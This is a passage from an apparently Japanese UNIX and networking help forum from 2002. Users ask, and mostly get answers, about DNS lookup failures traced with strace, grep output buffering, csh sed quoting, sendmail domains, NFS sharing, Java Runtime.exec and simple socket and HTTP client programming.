    % truss dig www.jp.FreeBSD.org|egrep 'socket|connect'
    socket(0x2,0x2,0x0) = 3 (0x3)
    connect(0x3,{ sa_len = 48, sa_family = 120, sa_data = } },16) = 0 (0x0)
となりますが、そちらではどういう結果になりますか?

もし socket さえ行っていないようなら、/etc/host.conf とか
/etc/resolv.conf の解析あたりでこけているような気がします。

なお、nslookup や host は /etc/hosts や /etc/host.conf を
参照せず、必ず DNS サーバに Query を投げるので、原因の
切り分けの際はご注意を。

> resolve.confにはWin2k動作時に調べておいたLAN内DNSサーバの指定
> [nameserver 192.168.0.1]を記述しています。
DHCP クライアントは /etc/resolv.conf を上書きすると思いますが、
上書き後の内容はどうなっていますか?

あとは、DHCP をやめて、手で IP アドレスなどを設定してみると何かに
気づくかも…という役に立たないアドバイスしかないです。


>>2793 だいすけ
> 5: use Socket;
> この文はどういう意味なのでしょうか?
Socket モジュールを使うという宣言です。利点は
    http://x68000.startshop.co.jp/~68user/net/perl4.html
をどうぞ。

>>2793 だいすけ
> クライアントのほうを書けそうにありません。
何がわからないのかわからないので、
    http://x68000.startshop.co.jp/~68user/net/
を読んでくださいとしか言えません。

>>2795
> これを単語のおしまいで分類したものだすようにしたいのです。
> 1行コマンドで・・・。ちなみに大文字と小文字は区別しないで!!!
じゃあヒントだけ。rev というコマンドがあるならそれを
使います。rev がない UNIX なら、わかりません (perl を
使えばできるけど、問題の趣旨とは違うような気がする)。

No. 2797 # HIDE 2002/06/22 (土) 18:05:25
あるログファイルに1行出力されるごとに、その行に特定のキーワードが
あるかどうかを判断して、あった場合はその行を別のログに出力する
といったことをUNIXコマンドでできないかと調べています。
イメージとしては、「tail -f」と「grep」の組み合わせみたいな
感じですが、二つのコマンドをパイプで結合してもダメでした。
何か良い手はないでしょうか? ご存知の方がいたら教えてください。
よろしくお願いします。

No. 2798 # 68user 2002/06/22 (土) 19:26:19
>>2797 HIDE
tail -f log | grep foo でできる環境もあります。FreeBSD と Solaris2.6/8
あたりはできるはず。

というか、できない環境をしらないのでアドバイスはできませんが、tail が
バッファリングしてるのかな?

tail 自体それほど複雑な機能ではないので、さくっと perl などで
自作するのがいいかもしれません。

No. 2799 # HIDE 2002/06/22 (土) 20:19:02
>>2798 68user
ご回答いただきまして、ありがとうございます。

>tail -f log | grep foo でできる環境もあります。FreeBSD と>Solaris2.6/8あたりはできるはず。
  こちらの環境はSolaris2.6です。
         tail -f log | grep foo
  だと意図した形で画面に表示されるのですが、
         tail -f log | grep foo >> log2
  とやるとlog2には何も出力されないんです・・・・・・
  何か環境が変なのかな?

>tail 自体それほど複雑な機能ではないので、さくっと perl などで
>自作するのがいいかもしれません。
  そうですね。実はこの処理は大容量の性能関連のログから必要な
  行を抽出/判定するための使用しようとしているのですが、Perl
  で作ったらログの行が多いからか、逆にそのツールが動いている
  時間はCPUが100%になってしまったのでUNIXコマンドでできないかと
  調べている次第です。(Perlはあまり詳しくないので私の作り方が
  マズイだけかもしれませんが)

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 2800 # 68user 2002/06/22 (土) 21:36:23
>>2799 HIDE
> tail -f log | grep foo >> log2
なるほど。grep が出力をバッファリングしてるからですね。ちょっと調べて
みた限りでは、/dev/stderr にリダイレクトしてもダメだし、バッファリング
ありにするオプションはないようなので、
    % tail -f log | perl -ne '$|=1;print if m/foo/' >> log2
てな感じで。

でも、grep でなんとかなりそうな気もするなぁ…。

No. 2801 # 68user 2002/06/22 (土) 22:38:23
>>2800 68user
> /dev/stderr にリダイレクトしてもダメだし
あー、grep 自体は stdout に出力してるだけだから、シェルで
いくら stderr に振ってもどうにもならないですね。

というわけで、続きはここで。
    http://pc.2ch.net/test/read.cgi/unix/1022769156/l50
2ch で質問するのなら最初からそっちで聞けっつーの。

No. 2802 # HIDE 2002/06/22 (土) 22:47:54
>>2800 68user

% tail -f log | perl -ne '$|=1;print if m/foo/' >> log2
をやってみたら、うまくいきました!
いろいろ調べていただいたようで、ありがとうございました。m(__)m

>でも、grep でなんとかなりそうな気もするなぁ…。
微妙〜なとこでうまくいかないのが悔しいですね。(^^;)
でも、この件は急いでいたので大変助かりました。

No. 2803 # HIDE 2002/06/22 (土) 22:52:03
>>2801 68user

>2ch で質問するのなら最初からそっちで聞けっつーの。
至急性が高かったので両方に投稿しておりました。
大変失礼しました。すいません。

No. 2804 # 通りがかり 2002/06/23 (日) 09:16:15
ここまでまるごとパクリっていうのも...

http://www.apk.ne.jp/~yasya/ura/unix/index.html

No. 2805 # has 2002/06/23 (日) 12:10:54
>>2796 68user
digをstrace|egrepした内容です。

socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
socket(PF_INET6, SOCK_STREAM, 0) = -1 ENOSYS (Function not implemented)
socket(PF_INET6, SOCK_STREAM, 0) = -1 ENOSYS (Function not implemented)
socket(PF_INET6, SOCK_STREAM, 0) = -1 EAFNOSUPPORT (Address family not supported by protocol)

一応ソケットを作りに行ってますが、connectはしてないみたいです。
あと設定ファイルですが、起動のたびに上書きされており、
% cat /etc/resolv.conf
nameserver 192.168.0.1
となっています。

固定IPを設定するのは気がひけるのでまだやってません(^^;)
でも毎回同じIPが割り当てられてる気もするし、MACアドレスとかで
決めてるようならいつものIPを指定してみようかな?

ついでに
>>2781のperlスクリプトをstrace|egrepしてみました。

socket(PF_UNIX, SOCK_STREAM, 0) = 3
connect(3, {sin_family=AF_UNIX, path="/var/run/.nscd_socket"}, 110) = -1 ENOENT (No such file or directory)
socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3
connect(3, {sin_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("192.168.0.1")}}, 28) = 0
socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3
connect(3, {sin_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("192.168.0.1")}}, 28) = 0
お手数かけてますがどうぞよろしく。

No. 2806 # 68user 2002/06/23 (日) 17:06:51
>>2805 has
> digをstrace|egrepした内容です。
> socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
> socket(PF_INET6, SOCK_STREAM, 0) = -1 ENOSYS (Function not implemented)
> socket(PF_INET6, SOCK_STREAM, 0) = -1 ENOSYS (Function not implemented)
> socket(PF_INET6, SOCK_STREAM, 0) = -1 EAFNOSUPPORT (Address family not supported by protocol)

> perlスクリプトをstrace|egrepしてみました。
> socket(PF_UNIX, SOCK_STREAM, 0) = 3
> connect(3, {sin_family=AF_UNIX, path="/var/run/.nscd_socket"}, 110) = -1 ENOENT (No such file or > directory)
> socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3
> connect(3, {sin_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("192.168.0.1")}}, 28) = 0
> socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3
> connect(3, {sin_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("192.168.0.1")}}, 28) = 0

なんか全然違いますねぇ。UDP/IP で、192.168.0.1:53 宛に connect
するはずなので、perl の場合の
    socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3
    connect(3, {sin_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("192.168.0.1")}}, 28) = 0
という結果は正しいと思います。perl の実行時に tcpdump してみたら
どうなるんでしょうか。

うちではこんな感じです。
    % truss perl -e "use Socket;print inet_ntoa(inet_aton('www.jp.freebsd.org'))"
    socket(0x2,0x2,0x0) = 4 (0x4)
    connect(0x4,{ AF_INET 192.168.0.1:53 },16) = 0 (0x0)
    sendto(0x4,0xbfbfe464,0x24,0x0,0x0,0x0) = 36 (0x24)
    recvfrom(0x4,0xbfbfed64,0x400,0x0,0xbfbfe238,0xbfbfe1fc) = 251 (0xfb)
    close(4) = 0 (0x0)
    close(3) = 0 (0x0)

    % truss dig www.jp.freebsd.org
    socket(0x2,0x2,0x0) = 3 (0x3)
    connect(0x3,{ sa_len = 48, sa_family = 120, sa_data = } },16) = 0 (0x0)
    sendto(0x3,0xbfbff184,0x24,0x0,0x0,0x0) = 36 (0x24)
    select(0x4,0xbfbed694,0x0,0x0,0xbfbed60c) = 1 (0x1)
    recvfrom(0x3,0xbfbef184,0x10000,0x0,0xbfbed684,0xbfbed678) = 251 (0xfb)
    close(3) = 0 (0x0)

ただ、どうも strace から絞り込んでいく方向は遠回りかもしれません。
IPv6 を OFF にしてみるとか、DHCP を使わずにやってみる方が早道かも
しれませんね。

> でも毎回同じIPが割り当てられてる気もするし、MACアドレスとかで
> 決めてるようならいつものIPを指定してみようかな?
大抵の DHCP サーバは、どの MAC アドレスにどの IP アドレスを振った
かを数日間記憶していて (設定次第ですが)、できるだけ同じマシンには
IP アドレスを振るようにしているので、ちょろっと試す分には OKかと
思います。


>>2804 通りがかり
> ここまでまるごとパクリっていうのも...
> http://www.apk.ne.jp/~yasya/ura/unix/index.html
クレーム入れるのもダルいので、放置です。

ちなみに他にもありますよ :-)
    http://www.it.ice.uec.ac.jp/~furu/unix/kind.html
    http://noto.cc4-4.kanagawa-u.ac.jp/~jsato/helps/

コンテンツの引用や転載については
    http://x68000.startshop.co.jp/~68user/
を読んでください、ということで。

No. 2807 # 愛子 2002/06/24 (月) 11:22:04
こんにちは。愛子@UNIX1年生 です。
今回、Cシェルを作成することになり、Cシェルはじめて2週間といった
初心者です。どうぞ、宜しくお願いします。

さて、質問なのですが・・・

[ test.txt ]

apple 133 123
orange 133 123
candy 133 156
というファイルがあります。

このファイルの各行末に
変数 TEMPSTR に 格納されている文字列を連結するというCシェルを
作成しようとしています。

[ 作成したシェルスクリプト ]
#!/bin/csh

set TEMPSTR = "LIST"

sed 's/$/,123.45/' < test.txt
sed "s/^/${TEMPSTR},/" < test.txt
sed "s/$/,${TEMPSTR}/" < test.txt

[ 実行結果 ]

apple 133 123,123.45
orange 133 123,123.45
candy 133 156 ,123.45
LIST,apple 133 123
LIST,orange 133 123
LIST,candy 133 156
文法があいまいです。

となります。
行頭挿入は、出来るのに行末追加は出来ないのは何故でしょうか???
文法があいまい ということは、変数の指定がいけないと思うのですが
・・・
変数の中身は、固定でないので(各行違うデータを文末につけるので)
変数を用いなればなりません。
sed以外でも ファイルの各行の文末に文字列を連結することが
出来るコマンドがあれば、そちらの方法でも構いません。
(行数分LOOPを回してやるというLOOP処理では行数が1万行とかあるので
  NGですが)

質問の仕方が下手で申し訳ありませんが、宜しくお願い致します。
ちなみにバージョンは、UNIX(r) System V Release 4.0 です。
どなたか、ご教授いただければ大変、嬉しく思います。

No. 2808 # 愛子 2002/06/24 (月) 15:07:43
自己レスでごめんなさい。
10Hやって出来なかったので、質問したのですが、

インターネットで調べながらやっていたら、出来ました。
            sed 's/$/,'$TEMPSTR'/' < test.txt
でした。

また、1行目から2行目まで追加したい時は、
            @ RW = 2
            sed '1,'$RW's/$/'$TEMPSTR'/' < test.txt
のようです。
ご参考までに

#!/bin/csh
set TEMPSTR = "LIST"
@ RW = 2
sed 's/$/,123.45/' test.txt
sed "s/^/${TEMPSTR},/" test.txt
echo RW = $RW
echo TEMPSTR = $TEMPSTR
sed '1,2s/$/,GYOUMATSU/' test.txt
echo "-----------------------------------------------"
sed '1,'$RW's/$/'$TEMPSTR'/' test.txt
echo "-----------------------------------------------"
sed 's/$/,'$TEMPSTR'/' test.txt
どなたかが参考になるといいなぁ・・・
では、お騒がせ致しましたです。

No. 2809 # 68user 2002/06/24 (月) 19:33:01
>>2808 愛子
> sed 's/$/,'$TEMPSTR'/' < test.txt
もし "" でくくるなら、sed "s/\$/,$TEMPSTR/" ですが、
csh では "\"" とか '\'' というふうに
    - "" の中に " を入れる
    - '' の中に ' を入れる
ことはできませんので、\ でエスケープしているといつかは
破綻します。よって、

> sed 's/$/,'$TEMPSTR'/' < test.txt
のように必要なところのみ '' でくくるのはよいやり方だと
思います。

No. 2810 # りょうこ 2002/06/25 (火) 18:47:08
sendmailについての質問があります。

現在sendmailのバージョンは、8.9です。
現在使用しているドメインにもう1つドメインを追加したいのですが、

sendmail.cwファイルを作成して、そこを参照するように.defを
このようにしました。
USE_cw_FILECLASS=yes
cw_FILE_PATH='/etc/mail/sendmail.cw'

そして、sendmail.cwの中にドメイン名を記述したのですが、
これだけでは、だめなのでしょうか?

やりたい事は、1つのメールサーバーで2つのドメインのメールを受信
したいのです。

検討違いの事をやっているかもしれませんが、教えてください

No. 2811 # あおい 2002/06/26 (水) 01:22:52
はじめまして、こんにちは。
HPを開いているのですがご相談があります。
ネットに関してまだ未熟なもので
申し訳ないですがよろしくお願い致します。m(__)m

BBSを2つほどレンタルして設置しているのですが
管理人の記事管理モードなどを使うと
書き込み相手の【ホスト名】というのが表示されています。
これを使ってアクセス制限などをするようなのですが
私のBBSでは1つが【4つの数字】の表示(【IPアドレス】ですか?)で
もう1つは【〜jp】での表示です。
これら【ホスト名】とは、パソコン1つ1つで絶対に違うものになるのでしょうか?
人によっては時々その数字やアルファベットが、多少変化しているのですが・・・。
同じ物は絶対に存在しないのでしょうか?

例えば学校内の1つの部屋に沢山のパソコンを置いている場合、
どのパソコンを使ってもこの【ホスト名】は別々のものになりますか?
それとも同じになる事もあるのでしょうか?

このような質問をさせて頂いたのは実はBBSに書き込みされてる方で
『2つのHNを使い、別人を装ってるのではないか?』と
思われる人がいるからなんです。
その2人の人物はいつも同じ日、同じ時間に書き込んでいるのですが
【ホスト名】が常に同じだったので疑った所
『友人で2人とも学校から書き込んでいる』といいます。

その人物達のホスト名は他の方達が【〜ne.jp】で終わってる所
【fm〜ngn.ed.jp】となっています。これは学校や団体を指すのでしょうか?

わかりにくい文面で申し訳ないですが、
大変困ってますので、どうかよろしくお願い致します・・・。m(__)m

No. 2812 # 68user 2002/06/26 (水) 06:18:33
>>2810 りょうこ
よいと思います。あるいは MY_ALIAS で指定するとか。

>>2811 あおい
> それとも同じになる事もあるのでしょうか?
proxy サーバを経由しないと外に出られないようになっているなら、
ホスト名や IP アドレスは proxy サーバのものになります。学校や
会社などではよくある形態です。

> その人物達のホスト名は他の方達が【〜ne.jp】で終わってる所
> 【fm〜ngn.ed.jp】となっています。これは学校や団体を指すのでしょうか?
ed.jp は小・中・高等学校などです。詳しくは
    http://www.nic.ad.jp/ja/dom/basics.html
をどうぞ。ngn は「長野県」でしょうね。

No. 2813 # has 2002/06/27 (木) 02:17:48
>>2806 68user
perl実行時にstraceしながらtcpdumpしましたが、パケットは流れませんでした。
ただstraceで若干気になったところがあるんですが、

socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3
connect(3, {sin_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("192.168\
.0.1")}}, 28) = 0
send(3, "9\307\1\0\0\1\0\0\0\0\0\0\3www\2jp\7freebsd\3org\0"..., 36, 0) = 36
gettimeofday({1025110376, 462410}, NULL) = 0
poll([{fd=3, events=POLLIN}], 1, 5000) = 0

と出力されるうち、sendの戻り値36は何を示しているんでしょう?
# ちなみにプログラムはpollでタイムアウトを繰り返して終了します。
固定IPを指定してみましたが、やはり同様に名前解決できませんでした。
ipv6を切るのは、やり方がわかっていないのでまだやっていません。
Webの検索をしたときにSolarisで同じような問題にぶつかって、
それについてMLで質問している記録が掲載されていたのを見付けたので、
その人に直接メールで聞いてみようかなぁ。
# その記事には結末が載っていませんでした

No. 2814 # 68user 2002/06/27 (木) 21:50:03
>>2813 has
> sendの戻り値36は何を示しているんでしょう?
送信したバイト数ですが、この結果だけ見ればちゃんと query を
送信しているように見えます。

というわけで、strace は手詰りですね。後は netstat -s で統計
情報に何か出ていないか調べてみる、くらいしか思い付きません。

No. 2815 # moto 2002/06/28 (金) 00:42:40
こんにちは パールのコードについて教えてください。
ログの読み込みなのですが、ファイルハンドルをオープンして通常は
@log = <FH>; のような形で取り込むのですが、ログファイルの先頭の
1行だけ必要な場合、その1行だけを取得することはできるのですが、
書き換えたその1行を元の先頭に戻したいのです。
メモリ食いの @log = <FH>; は使わないで、while(<FH>){nantoka;} のような形で解決するコードは無いでしょうか。
よろしくお願いします。

No. 2816 # 68user 2002/06/28 (金) 01:02:12
>>2815 moto
use IO::Handle して、sysopen して、<FH> して、先頭に
seek で戻って print でいけるかな。

ただし、1行あたりの文字数が変わらない場合のみです。

No. 2817 # moto 2002/06/28 (金) 23:45:06
こんにちは 68user さん
掲示板のログの読み込みに関してだったのですが、やはり、上手い手は無いようなのですね。
いつも思うのですが、open 関数の >> の追加書き込みでログの先頭に書きむ選択肢もあったら、while 関数ももっと活躍できるのにと残念です。
お騒がせしました。 

No. 2818 # 68user 2002/06/28 (金) 23:50:32
>>2817 moto
> open 関数の >> の追加書き込みでログの先頭に書きむ選択肢もあったら
と言われて思い出しましたが、 +> や +>> ってのがありましたね。

ただ、繰り返しになりますが、文字や行の挿入はできませんよ。
あくまで上書きのみです。よって、あまりうれしくないかも。

No. 2819 # 飛鳥 2002/07/01 (月) 16:56:36
教えてください。
vi エディッタで rm ファイル名で ファイルを削除してしまいました。
復元する方法はありませんか???
よろしくお願いします。

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 2820 # 68user 2002/07/01 (月) 18:14:37
>>2819 飛鳥
一般的な UNIX のファイルシステムであれば、消したファイルは
復活できません。あきらめましょう。

No. 2821 # 飛鳥 2002/07/01 (月) 19:37:24
ありがとうございます。
素直にあきらめます。。。。。。。。。

No. 2822 # help 2002/07/01 (月) 20:23:12
javaのRuntimeクラスを使いシェルスクリプトを実行させたのですが、
シェルスクリプトに引数が渡りません。
以下の記述をしてます。
Runtime.getRuntime().exec("test.sh","param");

シェルスクリプト側で$1変数から引数の値が取得できてません。
解決方法を知ってる方は教えて頂けないでしょうか?

No. 2823 # 68user 2002/07/01 (月) 22:26:27
>>2822 help
試してませんが
    String args[]={"test.sh", "param"};
    Runtime.getRuntime().exec(args);
とか
    Runtime.getRuntime().exec(new String[]{"test.sh", "param"});
とかとか。

# 文法あってるかな・・・。

No. 2824 # help 2002/07/01 (月) 22:38:29
>>2823 68user
わざわざ返答ありがとうございます。
返答された記述も上手くいきませんでした。
シェルスクリプト内で行っている処理なんですが、
引数で渡された値からファイルを削除する処理で
以下のような記述をしてます。

#!/bin/sh

/**
      別の処理
*/
rm -rf $1

No. 2825 # 68user 2002/07/02 (火) 09:08:42
>>2824 help
> 返答された記述も上手くいきませんでした。
何がどううまくいかなかったですか? また、うまくいかないと判断した根拠は何ですか?
コマンドラインからシェルスクリプトを実行すると動くんですか?

うちの Solaris8+J2SE SDK 1.3.1 では
        String args[]={"test.sh", "param"};
        Runtime.getRuntime().exec(args);

        Runtime.getRuntime().exec(new String[]{"test.sh", "param"});
それに
        Runtime.getRuntime().exec("test.sh param");
も動きました。

そもそも
> Runtime.getRuntime().exec("test.sh","param");
はコンパイルできなかったのですが、そちらではコンパイルできているん
でしょうか?

なお、Runtime#exec の出力結果を取得したいならこちらを。
    http://www.ongs.net/daichi/java/runtimeexec/index.shtml

これをやらなくても画面に表示されないだけで、実行はされています。

No. 2826 # help 2002/07/02 (火) 10:25:45
>>2825 68user
説明不足で申し訳ありませんでした。
おかげさまでシェルスクリプト内で
以下の記述を追加して解決できました。

//削除したいファイルのパスに移動
cd /XXX/XXX
rm -rf $1

No. 2827 # Tetsu 2002/07/02 (火) 22:00:58
はじめましてTetsuといいます
早速ですが質問があります
WindowsでTCP/IPのプログラムを作っているのですがサーバーはどれにあたるのですか?
メールサーバーでしょうか?それともWWWサーバーなのか良くわかりません
自分ではチャットみたいなプログラムを作りたいと思うのですがサーバーとクライアントの関係がまだ良くつかめません
具体的に教えてもらえると助かります

No. 2828 # 68user 2002/07/02 (火) 23:12:31
>>2827 Tetsu
「はじめにプロトコルありき」と考えるのはどうでしょうね。

    HTTP というプロトコルがあります。HTTP を喋るサーバと
    HTTP を喋るクライアントが必要です。HTTP を喋るサーバは
    web サーバです。HTTP を喋るクライアントはブラウザです。
    よって、web サーバとブラウザがあれば HTTP で遊べます。


で、あなたはチャットみたいな機能が欲しいと。プロトコルは何にしますか?
    1. IRC
    2. HTTP (web 上でのチャット)
    3. 自作プロトコル

1 の場合、IRC というプロトコルは既に存在します。IRC プロトコルを喋る
サーバは既に存在します。IRC プロトコルを喋るクライアントは既に存在します。

よって、IRC サーバと IRC クライアントをインストールすれば OK です。もし
IRC サーバに不満があるなら自作することもできます。IRC クライアントに
不満があるなら自作することもできます。

2 も 1 と同じ。

3 の場合、あなたが新しいプロトコルを設計します。何から何まであなたが
勝手に決めます。しかし、そのプロトコルを喋るサーバもクライアントも
この世には存在しませんので、両方とも自作する必要があります。

…というので回答になってますか?

No. 2829 # Tetsu 2002/07/02 (火) 23:35:56
回答ありがとうございます
自分の聞きたかった質問の解答になってます
ありがとうございます
早速1か2の方法でためしてみたいと思います
3はもう少し勉強してからのほうがいいと思うので

No. 2830 # 68user 2002/07/03 (水) 02:11:27
>>2829 Tetsu
> 早速1か2の方法でためしてみたいと思います
という選択をするのはそれはそれで構わないのですが、チャットアプリを
作ることが目的ではなく、TCP/IP プログラミングの勉強が目的なのなら、
多分遠回りになります。


まずは入力された文字を参加者全員に返すサーバを作る。クライアントは
telnet コマンドで代用。

そこからどんどん機能追加して、名前を入力できるようにしたり、部屋を
作れるようにしたり、誰かが入室・退室したときは全員に通知するように
したり、ファイル送受信できるようにしたり…という方がいいかもしれません。

No. 2831 # シド 2002/07/03 (水) 11:26:28
教えてください。
あるマシンで NFS の share を行って、他のマシンからそれのディレクトリを
mountすると、他利用者に何か影響を及ぼすようなことが発生するのでしょうか?

No. 2832 # シド 2002/07/03 (水) 11:28:33
連続してすみません。
教えてください。

dfmountsコマンドを使用する場合、動作環境の条件は、どのようなものがよろしいのでしょうか?

No. 2833 # knockout [E-mail] 2002/07/03 (水) 16:01:01
始めまして。UNIX初心者です。
cシェルを主体としているUNIXにログインしているんですが、
自作のプログラミングを流すと、

: 構文エラー at line 59: `end of file' unexpected

というエラーメッセージが出るんですが、
ファイルのエンドコードがないっすって意味だと思うんですが
この対処法とかあったら教えて下さい。

因みに自分の記述は一行目から
"#! /usr/bin/sh"とかって、シェルがちゃうやん!!
みたいな指摘もあったりなかったり(爆

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 2834 # 麻耶 2002/07/03 (水) 17:33:52
はじめまして。
HTTPクライアントについて教えて頂きたいのですが、C言語でHTTPクライアントを作成したく、こちらの「C言語でHTTPクライアントを作ってみよう」を参考にしております。それで、そちらにあるソースではGETの場合を例にしておりますが、これはPOSTでも可能なんでしょうか?また、その場合どのようにすればよろしいのでしょうか。
よろしくお願いします。

No. 2835 # 68user 2002/07/03 (水) 18:01:01
>>2883 シケ゛
> : 構文エラー at line 59: `end of file' unexpected
直訳すると
    予期せぬ「ファイルの終わり」
意訳すると
    次に○○が現れると予想していたのに、ファイルの終端まで
    到達してしまった

というわけで、if に対応する then や fi がないとか、case を esac で
閉じてないとか、そういったことでしょう。

# ファイルの最終行に改行コードがないという可能性も捨て切れませんが。

> ファイルのエンドコードがないっす
UNIX にはファイルの終端コードというものはありません。


>>2834 麻耶
> これはPOSTでも可能なんでしょうか?
可能です。
    http://x68000.startshop.co.jp/~68user/net/http-4.html
を読んでください。

No. 2836 # 68user 2002/07/03 (水) 18:40:59
>>2831 シド
僕は NFS に詳しくないのでよくわかりませんが、返事が付かないのは
質問が曖昧だからでしょう。

まず、OS とバージョンが不明です。

>>2783 シド
> - /home rw=nini:gp7000s,root=gp7000s "File Service"
GP7000S っていうことは Solaris か UXP/DS か HP-UX かなぁと
思いますが (Solaris しか載らないんでしたっけ?)、ちゃんと
サーバとクライアント両方について、OS とバージョンを明記
すべきです。

また、何をどう設定したのかがわかりません。share の引数は?
NFS クライアントからどうやってマウントしたのですか? NFS
クライアントからは正常にアクセスできているのですか?


> 動作環境の条件はどのようなものがいいか
どのような、って何を聞きたいのかわからないです。うまく動作しないのは
動くための条件をクリアしていないのではないか、ということですか?

> 他利用者に何か影響を及ぼすようなことが発生するのでしょうか?
「他利用者」ってどのマシンの利用者ですか? クライアント? サーバ?
要は何か問題が発生しているのですか? ただ単に心配しているだけですか?


業務で使用していて問題が発生しているなら、サポートに聞いた方が
いいと思いますよ。そっちの方が早いし、正確だし、とことんまで
調べてくれるでしょう。

あとは、人の多い
    http://pc.2ch.net/unix/
で質問してみるとか。この掲示板なんて、1日100〜200程度のアクセスしか
ありませんので。

No. 2837 # 麻耶 2002/07/03 (水) 18:43:07
回答ありがとうございます。
幾度か試してみまして、出来ませんでしたのでこちらに書き込んだのですが、よく確認しましたところ空行の入れ忘れでした。本当に申し訳ありませんでした。

No. 2838 # シド 2002/07/03 (水) 19:30:22
すみません。
書き込みの内容が、曖昧でした。私の使用しているのは、確かにSolaris です。
(クラスタサーバモデルなので2つともです。)
shareの実行は、「share -F nfs -o rw=ss10:gp7000s,root=gp7000s -d "File Service" /home」
上記の共有を実行しました。
これをもう1つ別のサーバでマウントして、dfmountsを行う。
(dfmounytsはオプションにサーバ名を入れる事が出来た)
このときdfmountsを行う動作環境として何か問題または、条件が有りますか。

No. 2839 # 遅くなりましたが・・・ [E-mail] 2002/07/04 (木) 10:02:43
回答ありがとうございました(^^)
無事プログラム流れてくれました。
結局、if文内にあったechoのダブルクォーテーション不足でした
ご迷惑かけました(^^;

No. 2840 # 紅絹 2002/07/04 (木) 14:47:49
教えていただきたいのですが、HTTPでファイル転送するものをC言語で作りたいのですが可能でしょうか?
また参考をなるものがありましたら教えて頂けないでしょうか。
よろしくお願いします。

No. 2841 # かず 2002/07/04 (木) 16:27:29
すいませんが、どなたか文字列置換に詳しい方がいらっしゃいましたら教えていただきたいんですけど、あるディレクトリ以下の全てのファイルを対象に文字列置換を行う際の書式を教えて下さい。
で、文字列中に記号や空白が含まれるので、例えば「top.test/mail.html」という文字列を「i = window.close();」という文字列に置換する際はどういったコーディングになるのか教えて頂けたらさいわいです。
sedコマンド等で色々と試したのですがどうしても上手く行きません。
どなたかわかる方いらっしゃいましたら教えて下さい。
もう3日ほど悩んでいます。。。お願いします。

No. 2842 # 名無しさん 2002/07/04 (木) 16:49:07
>>2841 かず
Perlで、
s#top\.test/mail\.html#i = window.close();#g;
とか・・・
s#\Qtop.test/mail.html\E#i = window.close();#g;

No. 2843 # シゲ 2002/07/04 (木) 20:46:21
お世話になっています。
初心者の質問で申し訳がありません。
MA-300というハードにPostgreSQLをインストールをしました。
そこで、自動起動を行いたいのですが、
/etc/rc.d/rc.local
に起動コマンドを書き込んでも起動しません。(red hatでは起動したので、コマンドは正しいかと思います。)
私の初心者ながらの推測では、起動時にrc.localは呼ばれていない気がします。(rc.localの中身は空なので、現状では呼ばれなくてもさしあたりがない。)
そこで、またまた初心者的な発想なのかもしれませが、
/etc/rc.d/rc.sysinit
に、直接コマンドを書き込んでもいいのでしょうか?

ご教授ください。
また、他にいい方法があれば、お教え願います。
よろしくお願いします。

No. 2844 # Tetsu 2002/07/04 (木) 22:48:07
>> 早速1か2の方法でためしてみたいと思います
>という選択をするのはそれはそれで構わないのですが、チャットアプリを
>作ることが目的ではなく、TCP/IP プログラミングの勉強が目的なのなら、
>多分遠回りになります。
すみません少し勘違いしてました
目的はTCP/IPプログラミングの勉強です チャット機能を持ったプログラムはTCP/IPを理解する上で作りたいと思ってるものです
で質問なのですがサーバプログラムは作成しないといけないのでしょうか?
プロバイダーのサーバにつないでMSNメッセンジャーのような感じで作りたいのですが

No. 2845 # 68user 2002/07/05 (金) 00:37:15
>>2840 紅絹
> HTTPでファイル転送するものをC言語で作りたいのですが可能でしょうか?
やろうと思えば何だって可能ですが、そもそもファイル転送って何ですか?
ファイルを GET することですか? それとも
      http://tohoho.wakusei.ne.jp/wwwxx034.htm
のようにファイルをアップロードすることですか?

>>2843 シゲ
> /etc/rc.d/rc.local に起動コマンドを書き込んでも起動しません。
Linux なら
    http://www.zdnet.co.jp/help/howto/linux/0007master/01/08.html
のように S99PostgrSQL と K99PostgreSQL を作るのが普通だと思います。

>>2844 Tetsu
> で質問なのですがサーバプログラムは作成しないといけないので
> しょうか? プロバイダーのサーバにつないでMSNメッセンジャーの
> ような感じで作りたいのですが
IRC や ICQ や MSN メッセンジャーのように、既にどこかにサーバが
立ち上がっているのなら、わざわざサーバは作らなくてもいいです。

ただし、こういうのを読んでプロトコルを理解する必要があります。
    IRC: http://www3.alpha-net.ne.jp/users/tycho/mokuji.htm
    ICQ: http://www.d.kth.se/~d95-mih/icq/
    MSN メッセンジャー:
              http://www.tlsecurity.net/Textware/Misc/draft-movva-msn-messenger-protocol-00.txt (これは古い)

作るのにとても苦労するでしょうけど、まぁこういうのが好きならば
結構楽しいと思います。

    苦労しつつも楽しんでいる人々: http://pc.2ch.net/test/read.cgi/tech/1006154451/

No. 2846 # シド 2002/07/05 (金) 10:02:14
マウント、シェア関係はほとんど解決できました。

1つ解らないことがあるので、教えてください。
sunOS Solaris7 を使用しています。
NFS サーバーで NFS サービスの実行があるのですが
dfmountsコマンドを実行したいとき、どのデーモンを起動すればいいのか?

mountの場合、mountdプロセスが起動していれば、mountコマンドが実行できました。

No. 2847 # mattu 2002/07/05 (金) 11:39:58
教えてください。
現在POSTをつかったHTTPクライアントをC言語で作成しているのですが、[HTTPクライアントを作ってみよう]のPOSTメソッドを参考に
        sprintf(send_buf, "POST %s HTTP/1.0 \r\n", path);
        write(s, send_buf, strlen(send_buf));
        sprintf(send_buf, "Content-Length:8\r\n");
        write(s, send_buf, strlen(send_buf));
        sprintf(send_buf, "Content-Type:text/plain\r\n", path);
        write(s, send_buf, strlen(send_buf));
        sprintf(send_buf, "\r\n");
        write(s, send_buf, strlen(send_buf));
